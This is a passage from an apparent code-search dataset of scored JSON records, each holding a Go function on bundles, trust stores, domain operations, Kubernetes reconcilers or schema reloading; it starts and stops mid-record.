unlock(s.lockW())\n\n\tif b == nil {\n\t\treturn replaced, errors.New(\"entity may not be nil\")\n\t}\n\n\tnvk, err := s.keyFromBundle(b)\n\tif err != nil {\n\t\treturn replaced, err\n\t}\n\treplaced = true\n\n\tif _, found := s.nameVerToID[nvk]; !found {\n\t\ts.nameVerToID[nvk] = b.ID\n\t\treplaced = false\n\t}\n\n\ts.storage[b.ID] = b\n\treturn replaced, nil\n}", "title": "" }, { "docid": "5d6a74102a5400d2668660150bd0bc7d", "score": "0.37280023", "text": "func (o GoogleBigQueryLinkedServiceOutput) UseSystemTrustStore() pulumi.AnyOutput {\n\treturn o.ApplyT(func(v GoogleBigQueryLinkedService) interface{} { return v.UseSystemTrustStore }).(pulumi.AnyOutput)\n}", "title": "" }, { "docid": "2c05d6be9821559f3ffbf76858fddbc7", "score": "0.3707928", "text": "func (drc *DummyRegistryClient) BecomeFoolishlyTrusting() {}", "title": "" }, { "docid": "93144f3a6b0ede84e1db9f9d8f8d57d3", "score": "0.37053636", "text": "func (b *ClusterTrustBundleSpecApplyConfiguration) WithTrustBundle(value string) *ClusterTrustBundleSpecApplyConfiguration {\n\tb.TrustBundle = &value\n\treturn b\n}", "title": "" }, { "docid": "adc455c3a12f15198197cf0588975447", "score": "0.3701513", "text": "func (op *DetachTrustOperation) Poll(ctx context.Context, opts ...gax.CallOption) (*managedidentitiespb.Domain, error) {\n\tvar resp managedidentitiespb.Domain\n\tif err := op.lro.Poll(ctx, &resp, opts...); err != nil {\n\t\treturn nil, err\n\t}\n\tif !op.Done() {\n\t\treturn nil, nil\n\t}\n\treturn &resp, nil\n}", "title": "" }, { "docid": "238acd4948754dd8078077296a20f22f", "score": "0.36951464", "text": "func (do *Petri) Reload() error {\n\tfailpoint.Inject(\"ErrorMockReloadFailed\", func(val failpoint.Value) {\n\t\tif val.(bool) {\n\t\t\tfailpoint.Return(errors.New(\"mock reload failed\"))\n\t\t}\n\t})\n\n\t// Lock here for only once at the same time.\n\tdo.m.Lock()\n\tdefer do.m.Unlock()\n\n\tstartTime := time.Now()\n\n\tvar err error\n\tvar neededSchemaVersion int64\n\n\tver, err := do.causetstore.CurrentVersion()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tschemaVersion := int64(0)\n\toldSchemaReplicant := do.infoHandle.Get()\n\tif oldSchemaReplicant != nil {\n\t\tschemaVersion = oldSchemaReplicant.SchemaMetaVersion()\n\t}\n\n\tvar (\n\t\tfullLoad bool\n\t\trelatedChanges *einsteindb.RelatedSchemaChange\n\t)\n\tneededSchemaVersion, relatedChanges, fullLoad, err = do.loadSchemaReplicant(do.infoHandle, schemaVersion, ver.Ver)\n\tmetrics.LoadSchemaDuration.Observe(time.Since(startTime).Seconds())\n\tif err != nil {\n\t\tmetrics.LoadSchemaCounter.WithLabelValues(\"failed\").Inc()\n\t\treturn err\n\t}\n\tmetrics.LoadSchemaCounter.WithLabelValues(\"succ\").Inc()\n\n\tif fullLoad {\n\t\tlogutil.BgLogger().Info(\"full load and reset schemaReplicant validator\")\n\t\tdo.SchemaValidator.Reset()\n\t}\n\tdo.SchemaValidator.UFIDelate(ver.Ver, schemaVersion, neededSchemaVersion, relatedChanges)\n\n\tlease := do.DBS().GetLease()\n\tsub := time.Since(startTime)\n\t// Reload interval is lease / 2, if load schemaReplicant time elapses more than this interval,\n\t// some query maybe responded by ErrSchemaReplicantExpired error.\n\tif sub > (lease/2) && lease > 0 {\n\t\tlogutil.BgLogger().Warn(\"loading schemaReplicant takes a long time\", zap.Duration(\"take time\", sub))\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "05065297e14f52009f8c7264c7cb6752", "score": "0.36905965", "text": "func (c *Client) ValidateTrust(ctx context.Context, req *managedidentitiespb.ValidateTrustRequest, opts ...gax.CallOption) (*ValidateTrustOperation, error) {\n\treturn c.internalClient.ValidateTrust(ctx, req, opts...)\n}", "title": "" }, { "docid": "46664a5550acd63b4cc8d056d402b068", "score": "0.3669547", "text": "func (r RenewDomainRequest) Send(ctx context.Context) (*RenewDomainResponse, error) {\n\tr.Request.SetContext(ctx)\n\terr := r.Request.Send()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tresp := &RenewDomainResponse{\n\t\tRenewDomainOutput: r.Request.Data.(*RenewDomainOutput),\n\t\tresponse: &aws.Response{Request: r.Request},\n\t}\n\n\treturn resp, nil\n}", "title": "" }, { "docid": "0b34e63f772b5e92a3e9009f5ad95307", "score": "0.36679623", "text": "func (q *query) SettingsBundle(ctx context.Context, authorization models.PrivilegedAuthorizationInput, name models.SettingsBundleName) (*models.SettingsBundle, error) {\r\n\tspan, ctx := q.handler.observatory.StartTraceFromContext(ctx, \"Query_config\")\r\n\tdefer span.Finish()\r\n\r\n\t_, sessErr := q.handler.ValidatePrivilegedAuthorization(ctx, authorization)\r\n\tif sessErr != nil {\r\n\t\treturn nil, sessErr\r\n\t}\r\n\r\n\tconfig := q.handler.configs[name]\r\n\tif config != nil {\r\n\t\treturn config.settings, nil\r\n\t}\r\n\treturn nil, nil\r\n}", "title": "" }, { "docid": "13333ac4780bf9a37d2881d96074a109", "score": "0.3659645", "text": "func (deployer *ServiceDeployer) RefreshManagedEntities(maValue whisk.KeyValue) error {\n\n\tma := maValue.Value.(map[string]interface{})\n\tif err := deployer.RefreshManagedTriggers(ma); err != nil {\n\t\treturn err\n\t}\n\n\tif err := deployer.RefreshManagedRules(ma); err != nil {\n\t\treturn err\n\t}\n\n\tif err := deployer.RefreshManagedPackages(ma); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n\n}", "title": "" }, { "docid": "eda0dd63f4a14e8059510c95af71c011", "score": "0.36458883", "text": "func (o HiveLinkedServiceResponseOutput) UseSystemTrustStore() pulumi.AnyOutput {\n\treturn o.ApplyT(func(v HiveLinkedServiceResponse) interface{} { return v.UseSystemTrustStore }).(pulumi.AnyOutput)\n}", "title": "" }, { "docid": "ee2f6aa8f3a89228a03c4fb55994fa8a", "score": "0.3642335", "text": "func (o HiveLinkedServiceOutput) UseSystemTrustStore() pulumi.AnyOutput {\n\treturn o.ApplyT(func(v HiveLinkedService) interface{} { return v.UseSystemTrustStore }).(pulumi.AnyOutput)\n}", "title": "" }, { "docid": "e9a75f0cb1e7a59e2bb9f3cfc43c5310", "score": "0.36333165", "text": "func (r *QuayRegistryReconciler) Reconcile(req ctrl.Request) (ctrl.Result, error) {\n\tctx := context.Background()\n\tlog := r.Log.WithValues(\"quayregistry\", req.NamespacedName)\n\n\tlog.Info(\"begin reconcile\")\n\n\tvar quay v1.QuayRegistry\n\tif err := r.Client.Get(ctx, req.NamespacedName, &quay); err != nil {\n\t\tlog.Error(err, \"unable to retrieve QuayRegistry\")\n\n\t\treturn ctrl.Result{}, client.IgnoreNotFound(err)\n\t}\n\n\tvar configBundle corev1.Secret\n\tif err := r.Get(ctx, types.NamespacedName{Namespace: quay.GetNamespace(), Name: quay.Spec.ConfigBundleSecret}, &configBundle); err != nil {\n\t\tlog.Error(err, \"unable to retrieve referenced `configBundleSecret`\", \"configBundleSecret\", quay.Spec.ConfigBundleSecret)\n\n\t\treturn ctrl.Result{}, err\n\t}\n\n\tlog.Info(\"successfully retrieved referenced `configBundleSecret`\", \"configBundleSecret\", configBundle.GetName(), \"resourceVersion\", configBundle.GetResourceVersion())\n\n\tdeploymentObjects, err := kustomize.Inflate(&quay, &configBundle)\n\tif err != nil {\n\t\tlog.Error(err, \"could not inflate QuayRegistry into Kubernetes objects\")\n\n\t\treturn ctrl.Result{}, err\n\t}\n\n\tfor _, obj := range deploymentObjects {\n\t\tobjectMeta, _ := meta.Accessor(obj)\n\t\tgroupVersionKind := obj.GetObjectKind().GroupVersionKind().String()\n\n\t\tlog.Info(\"creating object\", \"Name\", objectMeta.GetName(), \"GroupVersionKind\", groupVersionKind)\n\n\t\terr = r.Client.Create(ctx, obj)\n\t\tif err != nil && errors.IsAlreadyExists(err) {\n\t\t\tlog.Info(\"updating object\", \"Name\", objectMeta.GetName(), \"GroupVersionKind\", groupVersionKind)\n\t\t\terr = r.Client.Update(ctx, obj)\n\t\t}\n\t\tif err != nil {\n\t\t\tlog.Error(err, \"failed to create/update object\", \"Name\", objectMeta.GetName(), \"GroupVersionKind\", groupVersionKind)\n\n\t\t\treturn ctrl.Result{}, err\n\t\t}\n\n\t\tlog.Info(\"successfully created/updated object\", \"Name\", objectMeta.GetName(), \"GroupVersionKind\", groupVersionKind)\n\t}\n\n\tlog.Info(\"all objects created/updated successfully\")\n\n\treturn ctrl.Result{}, nil\n}", "title": "" }, { "docid": "c2f8cbabd1acbaa26ce06e47d6e6b485", "score": "0.36326233", "text": "func (m *IosGeneralDeviceConfiguration) SetEnterpriseAppBlockTrust(value *bool)() {\n m.enterpriseAppBlockTrust = value\n}", "title": "" }, { "docid": "9edd586c750d7b08b4483e45ee504c66", "score": "0.36277425", "text": "func (m *WindowsUniversalAppX) GetIsBundle()(*bool) {\n val, err := m.GetBackingStore().Get(\"isBundle\")\n if err != nil {\n panic(err)\n }\n if val != nil {\n return val.(*bool)\n }\n return nil\n}", "title": "" }, { "docid": "cf04cc376d9ea41dbcc69ec4884a231c", "score": "0.36277235", "text": "func (o GoogleAdWordsLinkedServiceResponseOutput) UseSystemTrustStore() pulumi.AnyOutput {\n\treturn o.ApplyT(func(v GoogleAdWordsLinkedServiceResponse) interface{} { return v.UseSystemTrustStore }).(pulumi.AnyOutput)\n}", "title": "" }, { "docid": "5726af9e67a6148b22e9057cbbad5e66", "score": "0.36228508", "text": "func (op *UpdateDomainOperation) Poll(ctx context.Context, opts ...gax.CallOption) (*managedidentitiespb.Domain, error) {\n\tvar resp managedidentitiespb.Domain\n\tif err := op.lro.Poll(ctx, &resp, opts...); err != nil {\n\t\treturn nil, err\n\t}\n\tif !op.Done() {\n\t\treturn nil, nil\n\t}\n\treturn &resp, nil\n}", "title": "" }, { "docid": "3915c1a1c741f2cc9823c186d4880e09", "score": "0.361786", "text": "func (c *FHIRClient) ExecuteBundle(bundle []byte) ([]byte, error) {\n\tlog.Infof(\"Executing bundle...\")\n\n\tu := fmt.Sprintf(\"%v/%v\", c.apiAddrPrefix, util.GenerateFHIRStoreName(c.projectReference, c.locationID, c.datasetID, c.fhirStoreID))\n\tresp, err := c.client.Post(u, fhirJSONContentType, bytes.NewReader(bundle))\n\tif err != nil {\n\t\treturn []byte{}, fmt.Errorf(\"failed to execute bundle: %v\", err)\n\t}\n\tdefer resp.Body.Close()\n\tbody, err := ioutil.ReadAll(resp.Body)\n\tif resp.StatusCode != http.StatusOK {\n\t\treturn body, fmt.Errorf(\"unexpected HTTP status: %v\", resp.StatusCode)\n\t}\n\n\treturn body, nil\n}", "title": "" }, { "docid": "f8300289891ea43be8d3058dde9a8bfc", "score": "0.36134338", "text": "func (s *DataStore) DeleteBundle(ctx context.Context, req *datastore.DeleteBundleRequest) (*datastore.DeleteBundleResponse, error) {\n\ts.mu.Lock()\n\tdefer s.mu.Unlock()\n\n\tbundle, ok := s.bundles[req.TrustDomainId]\n\tif !ok {\n\t\treturn nil, ErrNoSuchBundle\n\t}\n\n\tif bundleEntries := s.bundleEntries[req.TrustDomainId]; len(bundleEntries) > 0 {\n\t\tswitch req.Mode {\n\t\tcase datastore.DeleteBundleRequest_DELETE:\n\t\t\tfor entryID := range bundleEntries {\n\t\t\t\tdelete(s.registrationEntries, entryID)\n\t\t\t}\n\t\tcase datastore.DeleteBundleRequest_DISSOCIATE:\n\t\t\tfor entryID := range bundleEntries {\n\t\t\t\tif entry := s.registrationEntries[entryID]; entry != nil {\n\t\t\t\t\tentry.FederatesWith = removeString(entry.FederatesWith, req.TrustDomainId)\n\t\t\t\t}\n\t\t\t}\n\t\tdefault:\n\t\t\treturn nil, fmt.Errorf(\"cannot delete bundle; federated with %d registration entries\", len(bundleEntries))\n\t\t}\n\t}\n\tdelete(s.bundles, req.TrustDomainId)\n\n\treturn &datastore.DeleteBundleResponse{\n\t\tBundle: cloneBundle(bundle),\n\t}, nil\n}", "title": "" }, { "docid": "59d5291ee9839473985c9284b04fec3d", "score": "0.36091357", "text": "func CallIsResolverFor(reqID uint64, ein *big.Int, provider common.Address) (bool, error) {\n\tvar err error\n\n\tservice, err := getService()\n\n\tif err != nil {\n\t\tlog.Error(err)\n\t\treturn false, err\n\t}\n\n\tresult, err := service.IsResolverFor(&bind.CallOpts{}, ein, provider)\n\tif err != nil {\n\t\t// if err.Error() == \"abi: unmarshalling empty output\" {\n\t\t// \treturn common.Big0, nil\n\t\t// }\n\t\tlog.Error(err)\n\t\treturn false, err\n\t}\n\n\tlog.Debugfd(reqID, \"IsResolverFor for (%v): %v \", ein, result)\n\treturn result, nil\n\n}", "title": "" }, { "docid": "fb7b70715c590592250533e1a0b33772", "score": "0.36075425", "text": "func (s *StatefulSetRolloutController) VerifySpec(ctx context.Context) (bool, error) {\n\tvar verifyErr error\n\n\tdefer func() {\n\t\tif verifyErr != nil {\n\t\t\tklog.Error(verifyErr)\n\t\t\ts.recorder.Event(s.parentController, event.Warning(\"VerifyFailed\", verifyErr))\n\t\t}\n\t}()\n\n\tcurrentReplicas, verifyErr := s.size(ctx)\n\tif verifyErr != nil {\n\t\ts.rolloutStatus.RolloutRetry(verifyErr.Error())\n\t\t// nolint: nilerr\n\t\treturn false, nil\n\t}\n\t// record the size and we will use this value to drive the rest of the batches\n\tklog.InfoS(\"record the target size\", \"total replicas\", currentReplicas)\n\ts.rolloutStatus.RolloutTargetSize = currentReplicas\n\ts.rolloutStatus.RolloutOriginalSize = currentReplicas\n\n\t// make sure that the updateRevision is different from what we have already done\n\ttargetHash, verifyErr := utils.ComputeSpecHash(s.statefulSet.Spec)\n\tif verifyErr != nil {\n\t\t// do not fail the rollout because we can't compute the hash value for some reason\n\t\ts.rolloutStatus.RolloutRetry(verifyErr.Error())\n\t\t// nolint:nilerr\n\t\treturn false, nil\n\t}\n\n\tif targetHash == s.rolloutStatus.LastAppliedPodTemplateIdentifier {\n\t\treturn false, fmt.Errorf(\"there is no difference between the source and target, hash = %s\", targetHash)\n\t}\n\n\tif s.statefulSet.Spec.Replicas != nil && currentReplicas != s.statefulSet.Status.Replicas {\n\t\tverifyErr = fmt.Errorf(\"the StatefulSet is still scaling, target = %d, statefulSet size = %d\",\n\t\t\tcurrentReplicas, s.statefulSet.Status.Replicas)\n\t\ts.rolloutStatus.RolloutRetry(verifyErr.Error())\n\t\treturn false, verifyErr\n\t}\n\n\t// check if the rollout batch replicas added up to the StatefulSet replicas\n\tif verifyErr = s.verifyRolloutBatchReplicaValue(currentReplicas); verifyErr != nil {\n\t\treturn false, verifyErr\n\t}\n\n\t// check if the StatefulSet has any controller\n\tif controller := metav1.GetControllerOf(s.statefulSet); controller != nil {\n\t\treturn false, fmt.Errorf(\"the StatefulSet %s has a controller owner %s\",\n\t\t\ts.statefulSet.GetName(), controller.String())\n\t}\n\n\t// mark the rollout verified\n\ts.recorder.Event(s.parentController, event.Normal(\"Rollout Verified\",\n\t\t\"Rollout spec and the StatefulSet resource are verified\"))\n\t// record the new pod template StatefulSet on success\n\ts.rolloutStatus.NewPodTemplateIdentifier = targetHash\n\treturn true, nil\n}", "title": "" }, { "docid": "6970520aab5f746947149d60d6ef13b4", "score": "0.35977146", "text": "func (o ServiceVclProductEnablementPtrOutput) DomainInspector() pulumi.BoolPtrOutput {\n\treturn o.ApplyT(func(v *ServiceVclProductEnablement) *bool {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.DomainInspector\n\t}).(pulumi.BoolPtrOutput)\n}", "title": "" }, { "docid": "b1cac2ddc768efb4b4960150b8de6c8e", "score": "0.3591443", "text": "func (o PhoenixLinkedServiceResponseOutput) UseSystemTrustStore() pulumi.AnyOutput {\n\treturn o.ApplyT(func(v PhoenixLinkedServiceResponse) interface{} { return v.UseSystemTrustStore }).(pulumi.AnyOutput)\n}", "title": "" }, { "docid": "6b8070b5e4195adaed87b2fe92a1b1ca", "score": "0.35885596", "text": "func (op *UpdateDomainOperation) Done() bool {\n\treturn op.lro.Done()\n}", "title": "" }, { "docid": "baf1e069ecce2df409902e4a21eedc59", "score": "0.35851046", "text": "func (e *Endpoints) bundleGetter(ctx context.Context, td spiffeid.TrustDomain) ([]*x509.Certificate, error) {\n\tserverBundle, err := e.BundleCache.FetchBundleX509(ctx, td)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"get bundle from datastore: %w\", err)\n\t}\n\tif serverBundle == nil {\n\t\tif td != e.TrustDomain && shouldLogFederationMisconfiguration(td) {\n\t\t\te.Log.\n\t\t\t\tWithField(telemetry.TrustDomain, td.Name()).\n\t\t\t\tWarn(\n\t\t\t\t\t\"No bundle found for foreign admin trust domain; admins from this trust domain will not be able to connect. \" +\n\t\t\t\t\t\t\"Make sure this trust domain is correctly federated.\",\n\t\t\t\t)\n\t\t}\n\t\treturn nil, fmt.Errorf(\"no bundle found for trust domain %q\", td)\n\t}\n\n\treturn serverBundle.X509Authorities(), nil\n}", "title": "" }, { "docid": "2cb4b4f04742bcd8daaf05a6bf4df9d9", "score": "0.35727873", "text": "func (g Service) GetBundle(ctx context.Context, req *settingssvc.GetBundleRequest, res *settingssvc.GetBundleResponse) error {\n\tif validationError := validateGetBundle(req); validationError != nil {\n\t\treturn merrors.BadRequest(g.id, \"%s\", validationError)\n\t}\n\tbundle, err := g.manager.ReadBundle(req.BundleId)\n\tif err != nil {\n\t\treturn merrors.NotFound(g.id, \"%s\", err)\n\t}\n\tfilteredBundle := g.getFilteredBundle(g.getRoleIDs(ctx), bundle)\n\tif len(filteredBundle.Settings) == 0 {\n\t\terr = fmt.Errorf(\"could not read bundle: %s\", req.BundleId)\n\t\treturn merrors.NotFound(g.id, \"%s\", err)\n\t}\n\tres.Bundle = filteredBundle\n\treturn nil\n}", "title": "" }, { "docid": "e08d3f767a6c862b0e38f0e4cf421919", "score": "0.3569613", "text": "func (p *Porter) IsBundleUpToDate(opts bundleFileOptions) (bool, error) {\n\tif exists, _ := p.FileSystem.Exists(opts.CNABFile); exists {\n\t\tbun, err := cnab.LoadBundle(p.Context, opts.CNABFile)\n\t\tif err != nil {\n\t\t\treturn false, errors.Wrapf(err, \"could not marshal data from %s\", opts.CNABFile)\n\t\t}\n\n\t\toldStamp, err := configadapter.LoadStamp(bun)\n\t\tif err != nil {\n\t\t\treturn false, errors.Wrapf(err, \"could not load stamp from %s\", opts.CNABFile)\n\t\t}\n\n\t\tmixins, err := p.getUsedMixins()\n\t\tif err != nil {\n\t\t\treturn false, errors.Wrapf(err, \"error while listing used mixins\")\n\t\t}\n\n\t\tconverter := configadapter.NewManifestConverter(p.Context, p.Manifest, nil, mixins)\n\t\tnewDigest, err := converter.DigestManifest()\n\t\tif err != nil {\n\t\t\tif p.Debug {\n\t\t\t\tfmt.Fprintln(p.Err, errors.Wrap(err, \"could not determine if the bundle is up-to-date so will rebuild just in case\"))\n\t\t\t}\n\t\t\treturn false, nil\n\t\t}\n\t\treturn oldStamp.ManifestDigest == newDigest, nil\n\t}\n\n\treturn false, nil\n}", "title": "" }, { "docid": "2ed7b6f3bc9b3c806525a67f2b3befea", "score": "0.35654572", "text": "func (p *Porter) refreshCachedBundle(bun bundle.Bundle, tag string, rm *relocation.ImageRelocationMap) error {\n\tif _, found, _ := p.Cache.FindBundle(tag); found {\n\t\t_, err := p.Cache.StoreBundle(tag, bun, rm)\n\t\tif err != nil {\n\t\t\tfmt.Fprintf(p.Err, \"warning: unable to update cache for bundle %s: %s\\n\", tag, err)\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "4311af97ef1251ccd5cf928e4ff9d116", "score": "0.35630384", "text": "func (r UpdateUserPoolDomainRequest) Send(ctx context.Context) (*UpdateUserPoolDomainResponse, error) {\n\tr.Request.SetContext(ctx)\n\terr := r.Request.Send()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tresp := &UpdateUserPoolDomainResponse{\n\t\tUpdateUserPoolDomainOutput: r.Request.Data.(*UpdateUserPoolDomainOutput),\n\t\tresponse: &aws.Response{Request: r.Request},\n\t}\n\n\treturn resp, nil\n}", "title": "" }, { "docid": "d146c22a1a12c2cb8207ce56fb792913", "score": "0.3562089", "text": "func (r *ElsaResolver) ResolveNow(opts resolver.ResolveNowOptions) {\n\tlog.Debugf(\"resolver now....\")\n\tif !r.checkState() {\n\t\tlog.Debugf(\"resolver now not allow refresh....\")\n\t\treturn\n\t}\n\tr.refresh()\n}", "title": "" }, { "docid": "8539bce33db702c27f8624e6638ccc88", "score": "0.3555317", "text": "func (r *ReconcileProfileBundle) Reconcile(request reconcile.Request) (reconcile.Result, error) {\n\treqLogger := log.WithValues(\"Request.Namespace\", request.Namespace, \"Request.Name\", request.Name)\n\treqLogger.Info(\"Reconciling ProfileBundle\")\n\n\t// Fetch the ProfileBundle instance\n\tinstance := &compliancev1alpha1.ProfileBundle{}\n\terr := r.client.Get(context.TODO(), request.NamespacedName, instance)\n\tif err != nil {\n\t\tif errors.IsNotFound(err) {\n\t\t\t// Request object not found, could have been deleted after reconcile request.\n\t\t\t// Owned objects are automatically garbage collected. For additional cleanup logic use finalizers.\n\t\t\t// Return and don't requeue\n\t\t\treturn reconcile.Result{}, nil\n\t\t}\n\t\t// Error reading the object - requeue the request.\n\t\treturn reconcile.Result{}, err\n\t}\n\n\t// examine DeletionTimestamp to determine if object is under deletion\n\tif instance.ObjectMeta.DeletionTimestamp.IsZero() {\n\t\t// The object is not being deleted, so if it does not have our finalizer,\n\t\t// then lets add the finalizer and update the object. This is equivalent\n\t\t// registering our finalizer.\n\t\tif !common.ContainsFinalizer(instance.ObjectMeta.Finalizers, compliancev1alpha1.ProfileBundleFinalizer) {\n\t\t\tpb := instance.DeepCopy()\n\t\t\tpb.ObjectMeta.Finalizers = append(pb.ObjectMeta.Finalizers, compliancev1alpha1.ProfileBundleFinalizer)\n\t\t\tif err := r.client.Update(context.TODO(), pb); err != nil {\n\t\t\t\treturn reconcile.Result{}, err\n\t\t\t}\n\t\t\treturn reconcile.Result{}, nil\n\t\t}\n\t} else {\n\t\t// The object is being deleted\n\t\treturn reconcile.Result{}, r.profileBundleDeleteHandler(instance, reqLogger)\n\t}\n\n\t// We should always start with an appropriate status\n\tif instance.Status.DataStreamStatus == \"\" {\n\t\tpb := instance.DeepCopy()\n\t\tpb.Status.DataStreamStatus = compliancev1alpha1.DataStreamPending\n\t\tpb.Status.SetConditionPending()\n\t\terr = r.client.Status().Update(context.TODO(), pb)\n\t\tif err != nil {\n\t\t\treqLogger.Error(err, \"Couldn't update ProfileBundle status\")\n\t\t\treturn reconcile.Result{}, err\n\t\t}\n\t\t// this was a fatal error, don't requeue\n\t\treturn reconcile.Result{}, nil\n\t}\n\n\terr = r.deleteNonNamespacedWorkload(instance, reqLogger)\n\tif err != nil {\n\t\treturn reconcile.Result{}, err\n\t}\n\n\tannotations := map[string]string{}\n\tisISTag, isTagImageRef, err := r.pointsToISTag(instance.Spec.ContentImage)\n\tif err != nil {\n\t\tif common.IsRetriable(err) {\n\t\t\treturn reconcile.Result{}, err\n\t\t}\n\n\t\tpbCopy := instance.DeepCopy()\n\t\tpbCopy.Status.DataStreamStatus = compliancev1alpha1.DataStreamInvalid\n\t\tpbCopy.Status.ErrorMessage = err.Error()\n\t\tpbCopy.Status.SetConditionInvalid()\n\t\terr = r.client.Status().Update(context.TODO(), pbCopy)\n\t\tif err != nil {\n\t\t\treqLogger.Error(err, \"Couldn't update ProfileBundle status\")\n\t\t\treturn reconcile.Result{}, err\n\t\t}\n\t\t// this was a fatal error, don't requeue\n\t\treturn reconcile.Result{}, nil\n\t}\n\n\teffectiveImage := instance.Spec.ContentImage\n\tif isISTag {\n\t\t// NOTE(jaosorior): Errors were already checked for in the pointsToISTag function\n\t\tref, _ := reference.Parse(instance.Spec.ContentImage)\n\t\tannotations = getISTagAnnotation(ref.NameString(), getISTagNamespace(ref))\n\t\teffectiveImage = isTagImageRef\n\t}\n\n\t// Define a new Pod object\n\tdepl := r.newWorkloadForBundle(instance, effectiveImage)\n\n\tfound := &appsv1.Deployment{}\n\terr = r.client.Get(context.TODO(), types.NamespacedName{Name: depl.Name, Namespace: depl.Namespace}, found)\n\tif err != nil && errors.IsNotFound(err) {\n\t\treqLogger.Info(\"Creating a new Workload\", \"Deployment.Namespace\", depl.Namespace, \"Deployment.Name\", depl.Name)\n\t\tdepl.Annotations = annotations\n\t\terr = r.client.Create(context.TODO(), depl)\n\t\tif err != nil {\n\t\t\treturn reconcile.Result{}, err\n\t\t}\n\n\t\treturn reconcile.Result{Requeue: true, RequeueAfter: 10 * time.Second}, nil\n\t} else if err != nil {\n\t\treturn reconcile.Result{}, err\n\t}\n\n\tif workloadNeedsUpdate(effectiveImage, found) {\n\t\tpbCopy := instance.DeepCopy()\n\t\tpbCopy.Status.DataStreamStatus = compliancev1alpha1.DataStreamPending\n\t\tpbCopy.Status.ErrorMessage = \"\"\n\t\tpbCopy.Status.SetConditionPending()\n\t\terr = r.client.Status().Update(context.TODO(), pbCopy)\n\t\tif err != nil {\n\t\t\treqLogger.Error(err, \"Couldn't update ProfileBundle status\")\n\t\t\treturn reconcile.Result{}, err\n\t\t}\n\n\t\t// This should have a copy of\n\t\tupdatedDepl := found.DeepCopy()\n\t\tupdatedDepl.Spec.Template = depl.Spec.Template\n\t\t// Copy annotations if needed\n\t\tfor key, val := range annotations {\n\t\t\tupdatedDepl.Annotations[key] = val\n\t\t}\n\t\treqLogger.Info(\"Updating Workload\", \"Deployment.Namespace\", depl.Namespace, \"Deployment.Name\", depl.Name)\n\t\terr = r.client.Update(context.TODO(), updatedDepl)\n\t\tif err != nil {\n\t\t\treturn reconcile.Result{}, err\n\t\t}\n\n\t\treturn reconcile.Result{Requeue: true, RequeueAfter: 10 * time.Second}, nil\n\t}\n\n\tlabels := getWorkloadLabels(instance)\n\tfoundPods := &corev1.PodList{}\n\terr = r.client.List(context.TODO(), foundPods, client.MatchingLabels(labels))\n\n\tif len(foundPods.Items) == 0 {\n\t\treqLogger.Info(\"Pod not scheduled yet. Waiting for Deployment to do it.\",\n\t\t\t\"Deployment.Namespace\", depl.Namespace, \"Deployment.Name\", depl.Name)\n\t\treturn reconcile.Result{Requeue: true, RequeueAfter: 10 * time.Second}, nil\n\t}\n\n\t// If there was a transcient error such as the image not being\n\t// fetched (Image pull error) the Deployment will schedule a new\n\t// pod. So let's find the newest.\n\trelevantPod := utils.FindNewestPod(foundPods.Items)\n\n\tif podStartupError(relevantPod) {\n\t\t// report to status\n\t\tpbCopy := instance.DeepCopy()\n\t\tpbCopy.Status.DataStreamStatus = compliancev1alpha1.DataStreamInvalid\n\t\tpbCopy.Status.ErrorMessage = \"The init container failed to start. Verify Status.ContentImage.\"\n\t\tpbCopy.Status.SetConditionInvalid()\n\t\terr = r.client.Status().Update(context.TODO(), pbCopy)\n\t\tif err != nil {\n\t\t\treqLogger.Error(err, \"Couldn't update ProfileBundle status\")\n\t\t\treturn reconcile.Result{}, err\n\t\t}\n\t\t// this was a fatal error, don't requeue\n\t\treturn reconcile.Result{}, nil\n\t}\n\n\t// Pod already exists and its init container at least ran - don't requeue\n\treqLogger.Info(\"Skip reconcile: Workload already up-to-date\", \"Deployment.Namespace\", found.Namespace, \"Deployment.Name\", found.Name)\n\n\t// Handle upgrades\n\tif instance.Status.DataStreamStatus == compliancev1alpha1.DataStreamValid &&\n\t\tinstance.Status.Conditions.GetCondition(\"Ready\") == nil {\n\t\treqLogger.Info(\"Updating Profile Bundle condition to valid\")\n\t\tpbCopy := instance.DeepCopy()\n\t\tpbCopy.Status.SetConditionReady()\n\t\terr = r.client.Status().Update(context.TODO(), pbCopy)\n\t\tif err != nil {\n\t\t\treqLogger.Error(err, \"Couldn't update ProfileBundle status\")\n\t\t\treturn reconcile.Result{}, err\n\t\t}\n\t}\n\treturn reconcile.Result{}, nil\n}", "title": "" }, { "docid": "073b8f8ae668999d34f1c78f5ce5780d", "score": "0.35506633", "text": "func TrustDomainFromURI(uri *url.URL) (TrustDomain, error) {\n\tid, err := FromURI(uri)\n\tif err != nil {\n\t\treturn TrustDomain{}, err\n\t}\n\n\treturn id.TrustDomain(), nil\n}", "title": "" }, { "docid": "e9e4a69cbbb17a1e87aa891e9cb65a62", "score": "0.35505772", "text": "func (dsphe DeployedServicePackageHealthEvaluation) AsUpgradeDomainDeployedApplicationsHealthEvaluation() (*UpgradeDomainDeployedApplicationsHealthEvaluation, bool) {\n\treturn nil, false\n}", "title": "" }, { "docid": "e9e4a69cbbb17a1e87aa891e9cb65a62", "score": "0.35505772", "text": "func (dsphe DeployedServicePackageHealthEvaluation) AsUpgradeDomainDeployedApplicationsHealthEvaluation() (*UpgradeDomainDeployedApplicationsHealthEvaluation, bool) {\n\treturn nil, false\n}", "title": "" }, { "docid": "8874644b103ca34cf543eb4ff11c321a", "score": "0.35505173", "text": "func (c *Client) ReconfigureTrust(ctx context.Context, req *managedidentitiespb.ReconfigureTrustRequest, opts ...gax.CallOption) (*ReconfigureTrustOperation, error) {\n\treturn c.internalClient.ReconfigureTrust(ctx, req, opts...)\n}", "title": "" }, { "docid": "6574b93316117d7cf029cec410500784", "score": "0.35398608", "text": "func (m *manager) Sync(ctx context.Context, transform transformFunc) error {\n\tif err := m.syncReleaseStatus(*m.status); err != nil {\n\t\treturn fmt.Errorf(\"failed to sync release status to storage backend: %s\", err)\n\t}\n\n\t// Get release history for this release name\n\treleases, err := m.storageBackend.History(m.releaseName)\n\tif err != nil && !notFoundErr(err) {\n\t\treturn fmt.Errorf(\"failed to retrieve release history: %s\", err)\n\t}\n\n\t// Cleanup non-deployed release versions. If all release versions are\n\t// non-deployed, this will 